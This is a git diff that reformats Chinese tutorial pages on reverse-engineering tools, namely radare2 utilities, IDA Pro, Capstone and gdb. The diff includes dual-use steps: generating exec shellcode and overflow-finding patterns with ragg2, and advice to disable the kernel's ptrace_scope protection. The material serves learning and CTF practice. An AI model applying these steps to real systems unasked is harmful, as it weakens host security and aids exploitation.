@ -223,6 +231,7 @@ Usage: rasm2 [-ACdDehLBvw] [-a arch] [-b bits] [-o addr] [-s syntax]
|
||||
rasm2 是一个内联汇编、反汇编程序。它的主要功能是获取给定机器指令操作码对应的字节。
|
||||
|
||||
下面是一些重要的参数:
|
||||
|
||||
- `-L`:列出目标体系结构所支持的插件,输出中的第一列说明了插件提供的功能(a=asm, d=disasm, A=analyze, e=ESIL)。
|
||||
- `-a`:知道插件的名字后,就可以使用 -a` 来进行设置。
|
||||
- `-b`:设置CPU寄存器的位数。
|
||||
@ -232,7 +241,8 @@ rasm2 是一个内联汇编、反汇编程序。它的主要功能是获取给
|
||||
- `-f`:从文件中读入汇编代码。
|
||||
|
||||
例子:
|
||||
```
|
||||
|
||||
```text
|
||||
$ rasm2 -a x86 -b 32 'mov eax,30'
|
||||
b81e000000
|
||||
$ rasm2 -a x86 -b 32 'mov eax,30' -C
|
||||
@ -251,7 +261,8 @@ $ rasm2 -f a.asm
|
||||
b81e000000
|
||||
```
|
||||
|
||||
#### rahash2
|
||||
### rahash2
|
||||
|
||||
```text
|
||||
$ rahash2 -h
|
||||
Usage: rahash2 [-rBhLkv] [-b S] [-a A] [-c H] [-E A] [-s S] [-f O] [-t O] [file] ...
|
||||
@ -280,13 +291,15 @@ Usage: rahash2 [-rBhLkv] [-b S] [-a A] [-c H] [-E A] [-s S] [-f O] [-t O] [file]
|
||||
rahash2 用于计算检验和,支持字节流、文件、字符串等形式和多种算法。
|
||||
|
||||
重要参数:
|
||||
|
||||
- `-a`:指定算法。默认为 sha256,如果指定为 all,则使用所有算法。
|
||||
- `-b`:指定块的大小(而不是整个文件)
|
||||
- `-B`:打印处每个块的哈希
|
||||
- `-s`:指定字符串(而不是文件)
|
||||
- `-a entropy`:显示每个块的熵(`-B -b 512 -a entropy`)
|
||||
|
||||
#### radiff2
|
||||
### radiff2
|
||||
|
||||
```text
|
||||
$ radiff2 -h
|
||||
Usage: radiff2 [-abcCdjrspOxuUvV] [-A[A]] [-g sym] [-t %] [file] [file]
|
||||
@ -322,13 +335,15 @@ Usage: radiff2 [-abcCdjrspOxuUvV] [-A[A]] [-g sym] [-t %] [file] [file]
|
||||
radiff2 是一个基于偏移的比较工具。
|
||||
|
||||
重要参数:
|
||||
|
||||
- `-s`:计算文本距离并得到相似度。
|
||||
- `-AC`:这两个参数通常一起使用,从函数的角度进行比较。
|
||||
- `-g`:得到给定的符号或两个偏移的图像对比。
|
||||
- 如:`radiff2 -g main a.out b.out | xdot -`(需要安装xdot)
|
||||
- `-c`:计算不同点的数量。
|
||||
|
||||
#### rafind2
|
||||
### rafind2
|
||||
|
||||
```text
|
||||
$ rafind2 -h
|
||||
Usage: rafind2 [-mXnzZhv] [-a align] [-b sz] [-f/t from/to] [-[m|s|S|e] str] [-x hex] file ..
|
||||
@ -354,12 +369,14 @@ Usage: rafind2 [-mXnzZhv] [-a align] [-b sz] [-f/t from/to] [-[m|s|S|e] str] [-x
|
||||
rafind2 用于在二进制文件中查找字符模式。
|
||||
|
||||
重要参数:
|
||||
|
||||
- `-s`:查找特定字符串。
|
||||
- `-e`:使用正则匹配。
|
||||
- `-z`:搜索以`\0`结束的字符串。
|
||||
- `-x`:查找十六进制字符串。
|
||||
|
||||
#### ragg2
|
||||
### ragg2
|
||||
|
||||
```text
|
||||
$ ragg2 -h
|
||||
Usage: ragg2 [-FOLsrxhvz] [-a arch] [-b bits] [-k os] [-o file] [-I path]
|
||||
@ -400,6 +417,7 @@ Usage: ragg2 [-FOLsrxhvz] [-a arch] [-b bits] [-k os] [-o file] [-I path]
|
||||
ragg2 可以将高级语言编写的简单程序编译成 x86、x86-64 或 ARM 的二进制文件。
|
||||
|
||||
重要参数:
|
||||
|
||||
- `-a`:设置体系结构。
|
||||
- `-b`:设置体系结构位数(32/64)。
|
||||
- `-P`:生成某种模式的字符串,常用于输入到某程序中并寻找溢出点。
|
||||
@ -409,7 +427,8 @@ ragg2 可以将高级语言编写的简单程序编译成 x86、x86-64 或 ARM
|
||||
- `ragg2 -a x86 -b 32 -i exec`
|
||||
- `-e`:使用指定的编码器。查看 `-L`。
|
||||
|
||||
#### rarun2
|
||||
### rarun2
|
||||
|
||||
```text
|
||||
$ rarun2 -h
|
||||
Usage: rarun2 -v|-t|script.rr2 [directive ..]
|
||||
@ -462,16 +481,19 @@ timeout=3
|
||||
rarun2 是一个可以使用不同环境、参数、标准输入、权限和文件描述符的启动器。
|
||||
|
||||
常用的参数设置:
|
||||
|
||||
- `program`
|
||||
- `arg1`, `arg2`,...
|
||||
- `setenv`
|
||||
- `stdin`, `stdout`
|
||||
|
||||
例子:
|
||||
|
||||
- `rarun2 program=a.out arg1=$(ragg2 -P 300 -r)`
|
||||
- `rarun2 program=a.out stdin=$(python a.py)`
|
||||
|
||||
#### rax2
|
||||
### rax2
|
||||
|
||||
```text
|
||||
$ rax2 -h
|
||||
Usage: rax2 [options] [expr ...]
|
||||
@ -518,16 +540,18 @@ Usage: rax2 [options] [expr ...]
|
||||
rax2 是一个格式转换工具,在二进制、八进制、十六进制数字和字符串之间进行转换。
|
||||
|
||||
重要参数:
|
||||
- `-e`:交换字节顺序。
|
||||
|
||||
- `-e`:交换字节顺序
|
||||
- `-s`:十六进制->字符
|
||||
- `-S`:字符->十六进制
|
||||
- `-D`, `-E`:base64 解码和编码
|
||||
|
||||
|
||||
## 交互式使用方法
|
||||
|
||||
当我们进入到 Radare2 的交互式界面后,就可以使用交互式命令进行操作。
|
||||
|
||||
输入 `?` 可以获得帮助信息,由于命令太多,我们只会重点介绍一些常用命令:
|
||||
|
||||
```text
|
||||
[0x00000000]> ?
|
||||
Usage: [.][times][cmd][~grep][@[@iter]addr!size][|>pipe] ; ...
|
||||
@ -575,10 +599,13 @@ Prefix with number to repeat command N times (f.ex: 3x)
|
||||
```
|
||||
|
||||
于是我们知道了 Radare2 交互命令的一般格式,如下所示:
|
||||
|
||||
```text
|
||||
[.][times][cmd][~grep][@[@iter]addr!size][|>pipe] ; ...
|
||||
```
|
||||
|
||||
如果你对 *nix shell, sed, awk 等比较熟悉的话,也可以帮助你很快掌握 radare2 命令。
|
||||
|
||||
- 在任意字符命令后面加上 `?` 可以获得关于该命令更多的细节。如 `a?`、`p?`、`!?`、`@?`。
|
||||
- 当命令以数字开头时表示重复运行的次数。如 `3x`。
|
||||
- `!` 单独使用可以显示命令使用历史记录。
|
||||
@ -616,14 +643,17 @@ Prefix with number to repeat command N times (f.ex: 3x)
|
||||
- `e asm.bytes=false` 关闭指令 raw bytes 的显示
|
||||
|
||||
默认情况下,执行的每条命令都有一个参考点,通常是内存中的当前位置,由命令前的十六进制数字指示。任何的打印、写入或分析命令都在当前位置执行。例如反汇编当前位置的一条指令:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x00005060]> pd 1
|
||||
;-- entry0:
|
||||
;-- rip:
|
||||
0x00005060 31ed xor ebp, ebp
|
||||
```
|
||||
|
||||
block size 是在我们没有指定行数的时候使用的默认值,输入 `b` 即可看到,使用 `b [num]` 修改字节数,这时使用打印命令如 `pd` 时,将反汇编相应字节的指令。
|
||||
```
|
||||
|
||||
```text
|
||||
[0x00005060]> b
|
||||
0x100
|
||||
[0x00005060]> b 10
|
||||
@ -636,8 +666,10 @@ block size 是在我们没有指定行数的时候使用的默认值,输入 `b
|
||||
0x00005062 4989d1 mov r9, rdx
|
||||
```
|
||||
|
||||
#### 分析(analyze)
|
||||
### 分析(analyze)
|
||||
|
||||
所有与分析有关的命令都以 `a` 开头:
|
||||
|
||||
```text
|
||||
[0x00000000]> a?
|
||||
|Usage: a[abdefFghoprxstc] [...]
|
||||
@ -662,6 +694,7 @@ block size 是在我们没有指定行数的时候使用的默认值,输入 `b
|
||||
| at[?] [.] analyze execution traces
|
||||
| av[?] [.] show vtables
|
||||
```
|
||||
|
||||
```text
|
||||
[0x00000000]> aa?
|
||||
|Usage: aa[0*?] # see also 'af' and 'afna'
|
||||
@ -682,12 +715,15 @@ block size 是在我们没有指定行数的时候使用的默认值,输入 `b
|
||||
| aav [sat] find values referencing a specific section or map
|
||||
| aau [len] list mem areas (larger than len bytes) not covered by functions
|
||||
```
|
||||
|
||||
- `afl`:列出所有函数。
|
||||
- `axt [addr]`:找到对给定地址的交叉引用。
|
||||
- `af [addr]`:当你发现某个地址处有一个函数,但是没有被分析出来的时候,可以使用该命令重新分析。
|
||||
|
||||
#### Flags
|
||||
### Flags
|
||||
|
||||
flag 用于将给定的偏移与名称相关联,flag 被分为几个 flag spaces,用于存放不同的 flag。
|
||||
|
||||
```text
|
||||
[0x00000000]> f?
|
||||
|Usage: f [?] [flagname] # Manage offset-name flags
|
||||
@ -730,11 +766,14 @@ flag 用于将给定的偏移与名称相关联,flag 被分为几个 flag spac
|
||||
| fx[d] show hexdump (or disasm) of flag:flagsize
|
||||
| fz[?][name] add named flag zone -name to delete. see fz?[name]
|
||||
```
|
||||
|
||||
常见用法:
|
||||
|
||||
- `f flag_name @ addr`:给地址 addr 创建一个 flag,当不指定地址时则默认指定当前地址。
|
||||
- `f-flag_name`:删除flag。
|
||||
- `fs`:管理命名空间。
|
||||
```
|
||||
|
||||
```text
|
||||
[0x00005060]> fs?
|
||||
|Usage: fs [*] [+-][flagspace|addr] # Manage flagspaces
|
||||
| fs display flagspaces
|
||||
@ -754,8 +793,10 @@ flag 用于将给定的偏移与名称相关联,flag 被分为几个 flag spac
|
||||
| fsr newname rename selected flagspace
|
||||
```
|
||||
|
||||
#### 定位(seeking)
|
||||
### 定位(seeking)
|
||||
|
||||
使用 `s` 命令可以改变当前位置:
|
||||
|
||||
```text
|
||||
[0x00000000]> s?
|
||||
|Usage: s # Seek commands
|
||||
@ -784,11 +825,13 @@ flag 用于将给定的偏移与名称相关联,flag 被分为几个 flag spac
|
||||
| sr pc Seek to register
|
||||
| ss Seek silently (without adding an entry to the seek history)
|
||||
```
|
||||
|
||||
- `s+`,`s-`:重复或撤销。
|
||||
- `s+ n`,`s- n`:定位到当前位置向前或向后 n 字节的位置。
|
||||
- `s/ DATA`:定位到下一个出现 DATA 的位置。
|
||||
|
||||
#### 信息(information)
|
||||
### 信息(information)
|
||||
|
||||
```text
|
||||
[0x00000000]> i?
|
||||
|Usage: i Get info from opened file (see rabin2's manpage)
|
||||
@ -826,8 +869,10 @@ flag 用于将给定的偏移与名称相关联,flag 被分为几个 flag spac
|
||||
| izz Search for Strings in the whole binary
|
||||
| iZ Guess size of binary program
|
||||
```
|
||||
|
||||
`i` 系列命令用于获取文件的各种信息,这时配合上 `~` 命令来获得精确的输出,下面是一个类似 checksec 的输出:
|
||||
```
|
||||
|
||||
```text
|
||||
[0x00005060]> iI ~relro,canary,nx,pic,rpath
|
||||
canary true
|
||||
nx true
|
||||
@ -835,7 +880,9 @@ pic true
|
||||
relro full
|
||||
rpath NONE
|
||||
```
|
||||
|
||||
`~` 命令还有一些其他的用法,如获取某一行某一列等,另外使用 `~{}` 可以使 json 的输出更好看:
|
||||
|
||||
```text
|
||||
[0x00005060]> ~?
|
||||
|Usage: [command]~[modifier][word,word][endmodifier][[column]][:line]
|
||||
@ -869,7 +916,8 @@ modifier:
|
||||
| i~0x400$ show lines ending with 0x400
|
||||
```
|
||||
|
||||
#### 打印(print) & 反汇编(disassembling)
|
||||
### 打印(print) & 反汇编(disassembling)
|
||||
|
||||
```text
|
||||
[0x00000000]> p?
|
||||
|Usage: p[=68abcdDfiImrstuxz] [arg|len] [@addr]
|
||||
@ -901,12 +949,15 @@ modifier:
|
||||
| pz[?] [len] print zoom view (see pz? for help)
|
||||
| pwd display current working directory
|
||||
```
|
||||
|
||||
常用参数如下:
|
||||
|
||||
- `px`:输出十六进制数、偏移和原始数据。后跟 `o`,`w`,`q` 时分别表示8位、32位和64位。
|
||||
- `p8`:输出8位的字节流。
|
||||
- `ps`:输出字符串。
|
||||
|
||||
radare2 中反汇编操作是隐藏在打印操作中的,即使用 `pd`:
|
||||
|
||||
```text
|
||||
[0x00000000]> pd?
|
||||
|Usage: p[dD][ajbrfils] [sz] [arch] [bits] # Print Disassembly
|
||||
@ -928,8 +979,10 @@ radare2 中反汇编操作是隐藏在打印操作中的,即使用 `pd`:
|
||||
| pds[?] disassemble summary (strings, calls, jumps, refs) (see pdsf and pdfs)
|
||||
| pdt disassemble the debugger traces (see atd)
|
||||
```
|
||||
|
||||
`@addr` 表示一个相对寻址,这里的 addr 可以是地址、符号名等,这个操作和 `s` 命令不同,它不会改变当前位置,当然即使使用类似 `s @addr` 的命令也不会改变当前位置。
|
||||
```
|
||||
|
||||
```text
|
||||
[0x00005060]> pd 5 @ main
|
||||
;-- main:
|
||||
;-- section..text:
|
||||
@ -944,8 +997,10 @@ radare2 中反汇编操作是隐藏在打印操作中的,即使用 `pd`:
|
||||
[0x00003620]>
|
||||
```
|
||||
|
||||
#### 写入(write)
|
||||
### 写入(write)
|
||||
|
||||
当你在打开 r2 时使用了参数 `-w` 时,才可以使用该命令,`w` 命令用于写入字节,它允许多种输入格式:
|
||||
|
||||
```text
|
||||
[0x00000000]> w?
|
||||
|Usage: w[x] [str] [<file] [<<EOF] [@addr]
|
||||
@ -977,12 +1032,15 @@ radare2 中反汇编操作是隐藏在打印操作中的,即使用 `pd`:
|
||||
| wv[?] eip+34 write 32-64 bit value
|
||||
| wz string write zero terminated string (like w + \x00)
|
||||
```
|
||||
|
||||
常见用法:
|
||||
|
||||
- `wa`:写入操作码,如 `wa jmp 0x8048320`
|
||||
- `wx`:写入十六进制数。
|
||||
- `wv`:写入32或64位的值。
|
||||
- `wo`:有很多子命令,用于将当前位置的值做运算后覆盖原值。
|
||||
```
|
||||
|
||||
```text
|
||||
[0x00005060]> wo?
|
||||
|Usage: wo[asmdxoArl24] [hexpairs] @ addr[!bsize]
|
||||
| wo[24aAdlmorwx] without hexpair values, clipboard is used
|
||||
@ -1005,9 +1063,11 @@ radare2 中反汇编操作是隐藏在打印操作中的,即使用 `pd`:
|
||||
| wox [val] ^= xor (f.ex: wox 0x90)
|
||||
```
|
||||
|
||||
#### 调试(debugging)
|
||||
### 调试(debugging)
|
||||
|
||||
在开启 r2 时使用参数 `-d` 即可开启调试模式,当然如果你已经加载了程序,可以使用命令 `ood` 重新开启调试。
|
||||
```
|
||||
|
||||
```text
|
||||
[0x7f8363c75f30]> d?
|
||||
|Usage: d # Debug commands
|
||||
| db[?] Breakpoints commands
|
||||
@ -1031,8 +1091,10 @@ radare2 中反汇编操作是隐藏在打印操作中的,即使用 `pd`:
|
||||
| dx[?] Inject and run code on target process (See gs)
|
||||
```
|
||||
|
||||
#### 视图模式
|
||||
### 视图模式
|
||||
|
||||
在调试时使用视图模式是十分有用的,因为你既可以查看程序当前的位置,也可以查看任何你想看的位置。输入 `V` 即可进入视图模式,按下 `p/P` 可在不同模式之间进行切换,按下 `?` 即可查看帮助,想退出时按下 `q`。
|
||||
|
||||
```text
|
||||
Visual mode help:
|
||||
? show this help
|
||||
@ -1093,27 +1155,33 @@ Function Keys: (See 'e key.'), defaults to:
|
||||
F8 step over
|
||||
F9 continue
|
||||
```
|
||||
|
||||
视图模式下的命令和命令行模式下的命令有很大不同,下面列出几个,更多的命令请查看帮助:
|
||||
|
||||
- `o`:定位到给定的偏移。
|
||||
- `;`:添加注释。
|
||||
- `V`:查看图形。
|
||||
- `:`:运行 radare2 命令
|
||||
|
||||
|
||||
## Web 界面使用
|
||||
|
||||
Radare2 的 GUI 尚在开发中,但有一个 Web 界面可以使用,如果刚开始你不习惯命令行操作,可以输入下面的命令:
|
||||
```
|
||||
|
||||
```text
|
||||
$ r2 -c=H [filename]
|
||||
```
|
||||
|
||||
默认地址为 `http://localhost:9090/`,这样你就可以在 Web 中进行操作了,但是我强烈建议你强迫自己使用命令行的操作方式。
|
||||
|
||||
|
||||
## cutter GUI
|
||||
|
||||
cutter 是 r2 官方的 GUI,已经在快速开发中,基本功能已经有了,喜欢界面操作的读者可以试一下(请确保 r2 已经正确安装):
|
||||
```
|
||||
|
||||
```text
|
||||
$ yaourt -S qt
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ git clone https://github.com/radareorg/cutter
|
||||
$ cd cutter
|
||||
$ mkdir build
|
||||
@ -1121,18 +1189,20 @@ $ cd build
|
||||
$ qmake ../src
|
||||
$ make
|
||||
```
|
||||
然后就可以运行了:
|
||||
```
|
||||
./cutter
|
||||
```
|
||||
|
||||
然后就可以运行了:
|
||||
|
||||
```text
|
||||
$ ./cutter
|
||||
```
|
||||
|
||||
## 在 CTF 中的运用
|
||||
|
||||
- [IOLI crackme](https://firmianay.github.io/2017/02/20/ioli_crackme_writeup.html)
|
||||
- [radare2-explorations-binaries](https://github.com/monosource/radare2-explorations-binaries)
|
||||
|
||||
|
||||
## 更多资源
|
||||
|
||||
- [The radare2 book](https://www.gitbook.com/book/radare/radare2book)
|
||||
- [Radare2 intro](https://github.com/radare/radare2/blob/master/doc/intro.md)
|
||||
- [Radare2 blog](http://radare.today/)
|
||||
|
@ -7,8 +7,8 @@
|
||||
- [技巧](#技巧)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 快捷键
|
||||
|
||||
- `;`:为当前指令添加全文交叉引用的注释
|
||||
- `n`:定义或修改名称,通常用来标注函数名
|
||||
- `g`:跳转到任意地址
|
||||
@ -16,10 +16,10 @@
|
||||
- `D`:分别按字节、字、双字显示数据
|
||||
- `A`:按 ASCII 显示数据
|
||||
|
||||
|
||||
## IDA Python
|
||||
|
||||
## 常用插件
|
||||
|
||||
- [IDA FLIRT Signature Database](https://github.com/push0ebp/sig-database) -- 用于识别静态编译的可执行文件中的库函数
|
||||
- [Find Crypt](https://github.com/polymorf/findcrypt-yara) -- 寻找常用加密算法中的常数(需要安装 [yara-python](https://github.com/VirusTotal/yara-python))
|
||||
- [IDA signsrch](https://github.com/nihilus/IDA_Signsrch) -- 寻找二进制文件所使用的加密、压缩算法
|
||||
@ -41,10 +41,12 @@
|
||||
- [golang_loader_assist](https://github.com/strazzere/golang_loader_assist) -- Golang编译的二进制文件分析助手
|
||||
- [BinDiff](https://www.zynamics.com/bindiff.html)
|
||||
|
||||
|
||||
## 常用脚本
|
||||
#### 内存 dump 脚本
|
||||
|
||||
### 内存 dump 脚本
|
||||
|
||||
调试程序时偶尔会需要 dump 内存,但 IDA Pro 没有直接提供此功能,可以通过脚本来实现。
|
||||
|
||||
```python
|
||||
import idaapi
|
||||
|
||||
@ -54,19 +56,21 @@ fp.write(data)
|
||||
fp.close()
|
||||
```
|
||||
|
||||
|
||||
## 技巧
|
||||
#### 堆栈不平衡
|
||||
|
||||
### 堆栈不平衡
|
||||
|
||||
某些函数在使用 f5 进行反编译时,会提示错误 "sp-analysis failed",导致无法正确反编译。原因可能是在代码执行中的 pop、push 操作不匹配,导致解析的时候 esp 发生错误。
|
||||
|
||||
解决办法步骤如下:
|
||||
|
||||
1. 用 Option->General->Disassembly, 将选项 Stack pointer 打钩
|
||||
2. 仔细观察每条 call sub_xxxxxx 前后的堆栈指针是否平衡
|
||||
3. 有时还要看被调用的 sub_xxxxxx 内部的堆栈情况,主要是看入栈的参数与 ret xx 是否匹配
|
||||
4. 注意观察 jmp 指令前后的堆栈是否有变化
|
||||
5. 有时用 Edit->Functions->Edit function...,然后点击 OK 刷一下函数定义
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- 《IDA Pro权威指南(第2版)》
|
||||
- https://www.hex-rays.com/products/ida/
|
||||
- <https://www.hex-rays.com/products/ida/>
|
||||
|
@ -3,8 +3,8 @@
|
||||
- [快捷键](#快捷键)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 快捷键
|
||||
|
||||
## 参考资料
|
||||
- https://www.pnfsoftware.com/
|
||||
|
||||
- <https://www.pnfsoftware.com/>
|
||||
|
@ -4,14 +4,14 @@
|
||||
- [开发接口](#开发接口)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 简介
|
||||
Capstone 是一款开源、轻量级、多平台、多架构的反汇编框架,支持 x86、x86-64、ARM、ARM64、MIPS、PowerPC 等架构,支持 Windows、Linux、macOS 操作系统。
|
||||
|
||||
Capstone 是一款开源、轻量级、多平台、多架构的反汇编框架,支持 x86、x86-64、ARM、ARM64、MIPS、PowerPC 等架构,支持 Windows、Linux、macOS 操作系统。
|
||||
|
||||
## 开发接口
|
||||
|
||||
## 参考资料
|
||||
- http://www.capstone-engine.org/
|
||||
|
||||
- <http://www.capstone-engine.org/>
|
||||
- [BHUSA2014-capstone](https://www.capstone-engine.org/BHUSA2014-capstone.pdf)
|
||||
- https://github.com/aquynh/capstone
|
||||
- <https://github.com/aquynh/capstone>
|
||||
|
@ -1,3 +1,3 @@
|
||||
# 2.2.5 Keystone
|
||||
|
||||
http://www.keystone-engine.org/
|
||||
- <http://www.keystone-engine.org/>
|
||||
|
195
doc/2.3.1_gdb.md
195
doc/2.3.1_gdb.md
@ -9,17 +9,19 @@
|
||||
- [GEF/pwndbg](#gefpwndbg)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## gdb 的组成架构
|
||||
![](../pic/2.3.1_gdb.png)
|
||||
|
||||
![img](../pic/2.3.1_gdb.png)
|
||||
|
||||
## gdb 基本工作原理
|
||||
|
||||
gdb 通过系统调用 `ptrace` 来接管一个进程的执行。ptrace 系统调用提供了一种方法使得父进程可以观察和控制其它进程的执行,检查和改变其核心映像以及寄存器。它主要用来实现断点调试和系统调用跟踪。ptrace 系统调用的原型如下:
|
||||
```
|
||||
|
||||
```c
|
||||
#include <sys/ptrace.h>
|
||||
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
|
||||
```
|
||||
|
||||
- **pid_t pid**:指示 ptrace 要跟踪的进程。
|
||||
- **void *addr**:指示要监控的内存地址。
|
||||
- **void *data**:存放读取出的或者要写入的数据。
|
||||
@ -28,7 +30,8 @@ long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
|
||||
- *PTRACE_ATTACH*:attach 到一个指定的进程,使其成为当前进程跟踪的子进程,而子进程的行为等同于它进行了一次 PTRACE_TRACEME 操作。但需要注意的是,虽然当前进程成为被跟踪进程的父进程,但是子进程使用 `getppid()` 的到的仍将是其原始父进程的 pid。
|
||||
- *PTRACE_CONT*:继续运行之前停止的子进程。可同时向子进程交付指定的信号。
|
||||
|
||||
#### gdb 的三种调试方式
|
||||
### gdb 的三种调试方式
|
||||
|
||||
- 运行并调试一个新进程
|
||||
- 运行 gdb,通过命令行或 `file` 命令指定目标程序。
|
||||
- 输入 `run` 命令, gdb 执行下面的操作:
|
||||
@ -44,29 +47,36 @@ long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
|
||||
- gdbserver 的启动方式相当于运行并调试一个新创建的进程
|
||||
|
||||
注意,在你将 gdb attach 到一个进程时,可能会出现这样的问题:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ attach 9091
|
||||
Attaching to process 9091
|
||||
ptrace: Operation not permitted.
|
||||
```
|
||||
|
||||
这是因为开启了内核参数 `ptrace_scope`:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat /proc/sys/kernel/yama/ptrace_scope
|
||||
1
|
||||
```
|
||||
|
||||
1 表示 True,此时普通用户进程是不能对其他进程进行 attach 操作的,当然你可以用 root 权限启动 gdb,但最好的办法还是关掉它:
|
||||
```
|
||||
|
||||
```text
|
||||
# echo 0 > /proc/sys/kernel/yama/ptrace_scope
|
||||
```
|
||||
|
||||
#### 断点的实现
|
||||
### 断点的实现
|
||||
|
||||
断点的功能是通过内核信号实现的,在 x86 架构上,内核向某个地址打入断点,实际上就是往该地址写入断点指令 `INT 3`,即 `0xCC`。目标程序运行到这条指令之后会触发 `SIGTRAP` 信号,gdb 捕获这个信号,并根据目标程序当前停止的位置查询 gdb 维护的断点链表,若发现在该地址确实存在断点,则可判定为断点命中。
|
||||
|
||||
|
||||
## gdb 基本操作
|
||||
|
||||
使用 `-tui` 选项可以将代码显示在一个漂亮的交互式窗口中。
|
||||
|
||||
#### break -- b
|
||||
### break -- b
|
||||
|
||||
- `break` 当不带参数时,在所选栈帧中执行的下一条指令处设置断点。
|
||||
- `break <function>` 在函数体入口处打断点。
|
||||
- `break <line>` 在当前源码文件指定行的开始处打断点。
|
||||
@ -76,7 +86,8 @@ $ cat /proc/sys/kernel/yama/ptrace_scope
|
||||
- `break <address>` 在程序指令的地址处打断点。
|
||||
- `break ... if <cond>` 设置条件断点,`...` 代表上述参数之一(或无参数),`cond` 为条件表达式,仅在 `cond` 值非零时停住程序。
|
||||
|
||||
#### info
|
||||
### info
|
||||
|
||||
- `info breakpoints -- i b` 查看断点,观察点和捕获点的列表。
|
||||
- `info breakpoints [list…]`
|
||||
- `info break [list…]`
|
||||
@ -87,133 +98,177 @@ $ cat /proc/sys/kernel/yama/ptrace_scope
|
||||
- `info frame` 打印出指定栈帧的详细信息。
|
||||
- `info proc` 查看 proc 里的进程信息。
|
||||
|
||||
#### disable -- dis
|
||||
### disable -- dis
|
||||
|
||||
禁用断点,参数使用空格分隔。不带参数时禁用所有断点。
|
||||
|
||||
- `disable [breakpoints] [list…]` `breakpoints` 是 `disable` 的子命令(可省略),`list…` 同 `info breakpoints` 中的描述。
|
||||
|
||||
#### enable
|
||||
### enable
|
||||
|
||||
启用断点,参数使用空格分隔。不带参数时启用所有断点。
|
||||
|
||||
- `enable [breakpoints] [list…]` 启用指定的断点(或所有定义的断点)。
|
||||
- `enable [breakpoints] once list…` 临时启用指定的断点。GDB 在停止您的程序后立即禁用这些断点。
|
||||
- `enable [breakpoints] delete list…` 使指定的断点启用一次,然后删除。一旦您的程序停止,GDB 就会删除这些断点。等效于用 `tbreak` 设置的断点。
|
||||
|
||||
`breakpoints` 同 `disable` 中的描述。
|
||||
|
||||
#### clear
|
||||
### clear
|
||||
|
||||
在指定行或函数处清除断点。参数可以是行号,函数名称或 `*` 跟一个地址。
|
||||
|
||||
- `clear` 当不带参数时,清除所选栈帧在执行的源码行中的所有断点。
|
||||
- `clear <function>`, `clear <filename:function>` 删除在命名函数的入口处设置的任何断点。
|
||||
- `clear <line>`, `clear <filename:line>` 删除在指定的文件指定的行号的代码中设置的任何断点。
|
||||
- `clear <address>` 清除指定程序指令的地址处的断点。
|
||||
|
||||
#### delete -- d
|
||||
### delete -- d
|
||||
|
||||
删除断点。参数使用空格分隔。不带参数时删除所有断点。
|
||||
|
||||
- `delete [breakpoints] [list…]`
|
||||
|
||||
#### tbreak
|
||||
### tbreak
|
||||
|
||||
设置临时断点。参数形式同 `break` 一样。当第一次命中时被删除。
|
||||
|
||||
#### watch
|
||||
### watch
|
||||
|
||||
为表达式设置观察点。每当一个表达式的值改变时,观察点就会停止执行您的程序。
|
||||
|
||||
- `watch [-l|-location] <expr>` 如果给出了 `-l` 或者 `-location`,则它会对 `expr` 求值并观察它所指向的内存。
|
||||
|
||||
另外 `rwatch` 表示在访问时停止,`awatch` 表示在访问和改变时都停止。
|
||||
|
||||
#### step -- s
|
||||
### step -- s
|
||||
|
||||
单步执行程序,直到到达不同的源码行。
|
||||
|
||||
- `step [N]` 参数 `N` 表示执行 N 次(或由于另一个原因直到程序停止)。
|
||||
|
||||
#### reverse-step
|
||||
### reverse-step
|
||||
|
||||
反向步进程序,直到到达另一个源码行的开头。
|
||||
|
||||
- `reverse-step [N]` 参数 `N` 表示执行 N 次(或由于另一个原因直到程序停止)。
|
||||
|
||||
#### next -- n
|
||||
### next -- n
|
||||
|
||||
单步执行程序,执行完子程序调用。
|
||||
|
||||
- `next [N]`
|
||||
|
||||
与 `step` 不同,如果当前的源代码行调用子程序,则此命令不会进入子程序,而是继续执行,将其视为单个源代码行。
|
||||
|
||||
#### reverse-next
|
||||
### reverse-next
|
||||
|
||||
反向步进程序,执行完子程序调用。
|
||||
|
||||
- `reverse-next [N]`
|
||||
|
||||
如果要执行的源代码行调用子程序,则此命令不会进入子程序,调用被视为一个指令。
|
||||
|
||||
#### return
|
||||
### return
|
||||
|
||||
您可以使用 `return` 命令取消函数调用的执行。如果你给出一个表达式参数,它的值被用作函数的返回值。
|
||||
|
||||
- `return <expression>` 将 `expression` 的值作为函数的返回值并使函数直接返回。
|
||||
|
||||
#### finish -- fin
|
||||
### finish -- fin
|
||||
|
||||
执行直到选定的栈帧返回。
|
||||
|
||||
- `finish`
|
||||
|
||||
#### until -- u
|
||||
### until -- u
|
||||
|
||||
执行程序直到大于当前栈帧或当前栈帧中的指定位置(与 `break` 命令相同的参数)的源码行。此命令常用于通过一个循环,以避免单步执行。
|
||||
|
||||
- `until <location>` 继续运行程序,直到达到指定的位置,或者当前栈帧返回。
|
||||
|
||||
#### continue -- c
|
||||
### continue -- c
|
||||
|
||||
在信号或断点之后,继续运行被调试的程序。
|
||||
|
||||
- `continue [N]`
|
||||
|
||||
如果从断点开始,可以使用数字 `N` 作为参数,这意味着将该断点的忽略计数设置为 `N - 1`(以便断点在第 N 次到达之前不会中断)。
|
||||
|
||||
#### print -- p
|
||||
### print -- p
|
||||
|
||||
求表达式 expr 的值并打印。可访问的变量是所选栈帧的词法环境,以及范围为全局或整个文件的所有变量。
|
||||
|
||||
- `print [expr]`
|
||||
- `print /f [expr]` 通过指定 `/f` 来选择不同的打印格式,其中 `f` 是一个指定格式的字母
|
||||
|
||||
#### x
|
||||
### x
|
||||
|
||||
检查内存。
|
||||
|
||||
- `x/nfu <addr>`
|
||||
- `x <addr>`
|
||||
- `n`, `f`, 和 `u` 都是可选参数,用于指定要显示的内存以及如何格式化。
|
||||
- `addr` 是要开始显示内存的地址的表达式。
|
||||
- `n` 重复次数(默认值是 1),指定要显示多少个单位(由 `u` 指定)的内存值。
|
||||
